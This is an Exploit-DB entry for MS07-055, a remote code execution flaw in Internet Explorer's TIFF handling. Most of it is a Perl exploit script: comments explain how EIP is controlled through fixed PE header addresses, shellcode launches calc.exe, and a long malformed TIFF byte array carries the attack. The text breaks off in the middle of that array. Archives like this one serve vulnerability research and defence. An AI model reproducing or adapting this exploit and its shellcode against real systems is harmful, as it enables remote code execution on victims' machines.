Exploit-DB #4616
Description: Microsoft Internet Explorer - TIF/TIFF Code Execution (MS07-055)
Type: remote
Platform: windows
Date: 2007-11-11
Author: grabarz

Exploit:
#!/usr/bin/perl
#
# Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)
#
# Author: grabarz <grabarz [at] grabarz.info>
#
# Note: This exploit is modified from Hong Gil-Dong, Jeon Woo-chi PoC 
# (http://www.milw0rm.com/exploits/4584)
#
# Internet Explorer has standart ImageBase address and PE Win32 header
# is started at 0x00400000 in memory. So memory cell at the address
# 0x00400008 contains the short value 0x0004 and at the address
# 0x00400011 it contains the long value 0x00000000 in any case.
# I used these addresses for generating of TIFF-file that uses
# vulnerability and for controling of EIP.
#
# This exploit tested on:
#  - Windows 2000 SP4 + IE5.01
#  - Windows 2000 SP4 + IE5.5
#  - Windows 2000 SP4 + IE6.0 SP1
#
# Credit: Hong Gil-Dong, Jeon Woo-chi, metasploit, SkyLined
#
# invokes calc.exe if successful 
#

use strict;

# run calc.exe
my $shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b".
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99".
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04".
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb".
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30".
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09".
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8".
"\x83\xc0\x7b\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a\x0e\x57\xff".
"\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

my $tiff1 =
"\x49\x49\x2A\x00\x90\x3E\x00\x00\x80\x3F\xE0\x50".
"\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36".
"\x1D\x0F\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C".
"\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52".
"\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6".
"\x5D\x2F\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C".
"\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54".
"\x3A\x25\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36".
"\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC".
"\x56\x6B\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56".
"\x3B\x25\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6".
"\xDD\x6F\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC".
"\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58".
"\x3C\x26\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37".
"\x1D\x8F\xC8\x64\x72\x59\x3C\xA6\x57\x2D\x97\x96".
"\x40\x40\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84".
"\x42\x61\x50\xB8\x64\x36\x1D\x0F\x88\x44\x62\x51".
"\x38\xA4\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76".
"\x3D\x1F\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94".
"\x4A\x65\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53".
"\x39\xA4\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6".
"\x7D\x3F\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4".
"\x52\x69\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55".
"\x3A\xA5\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76".
"\xBD\x5F\xB0\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4".
"\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x57".
"\x3B\xA5\xD6\xED\x77\xBC\x5E\x6F\x57\xBB\xE5\xF6".
"\xFD\x7F\xC0\x60\x70\x58\x3C\x26\x17\x0D\x87\xC4".
"\x62\x71\x58\xBC\x66\x37\x1D\x8F\xC8\x64\x72\x59".
"\x3C\xA6\x57\x2D\x97\x96\x40\x40\x80\x3F\xE0\x50".
"\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36".
"\x1D\x0F\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C".
"\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52".
"\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6".
"\x5D\x2F\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C".
"\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54".
"\x3A\x25\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36".
"\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC".
"\x56\x6B\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56".
"\x3B\x25\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6".
"\xDD\x6F\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC".
"\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58".
"\x3C\x26\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37".
"\x1D\x8F\xC8\x64\x72\x59\x3C\xA6\x57\x2D\x97\x96".
"\x40\x40\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84".
"\x42\x61\x50\xB8\x64\x36\x1D\x0F\x88\x44\x62\x51".
"\x38\xA4\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76".
"\x3D\x1F\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94".
"\x4A\x65\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53".
"\x39\xA4\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6".
"\x7D\x3F\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4".
"\x52\x69\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55".
"\x3A\xA5\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76".
"\xBD\x5F\xB0\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4".
"\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x57".
"\x3B\xA5\xD6\xED\x77\xBC\x5E\x6F\x57\xBB\xE5\xF6".
"\xFD\x7F\xC0\x60\x70\x58\x3C\x26\x17\x0D\x87\xC4".
"\x62\x71\x58\xBC\x66\x37\x1D\x8F\xC8\x64\x72\x59".
"\x3C\xA6\x57\x2D\x97\x96\x40\x40\x80\x3F\xE0\x50".
"\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36".
"\x1D\x0F\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C".
"\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52".
"\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6".
"\x5D\x2F\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C".
"\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54".
"\x3A\x25\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36".
"\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC".
"\x56\x6B\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56".
"\x3B\x25\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6".
"\xDD\x6F\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC".
"\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58".
"\x3C\x26\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37".
"\x1D\x8F\xC8\x64\x72\x59\x3C\xA6\x57\x2D\x97\x96".
"\x40\x40\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84".
"\x42\x61\x50\xB8\x64\x36\x1D\x0F\x88\x44\x62\x51".
"\x38\xA4\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76".
"\x3D\x1F\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94".
"\x4A\x65\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53".
"\x39\xA4\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6".
"\x7D\x3F\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4".
"\x52\x69\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55".
"\x3A\xA5\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76".
"\xBD\x5F\xB0\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4".
"\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x57".
"\x3B\xA5\xD6\xED\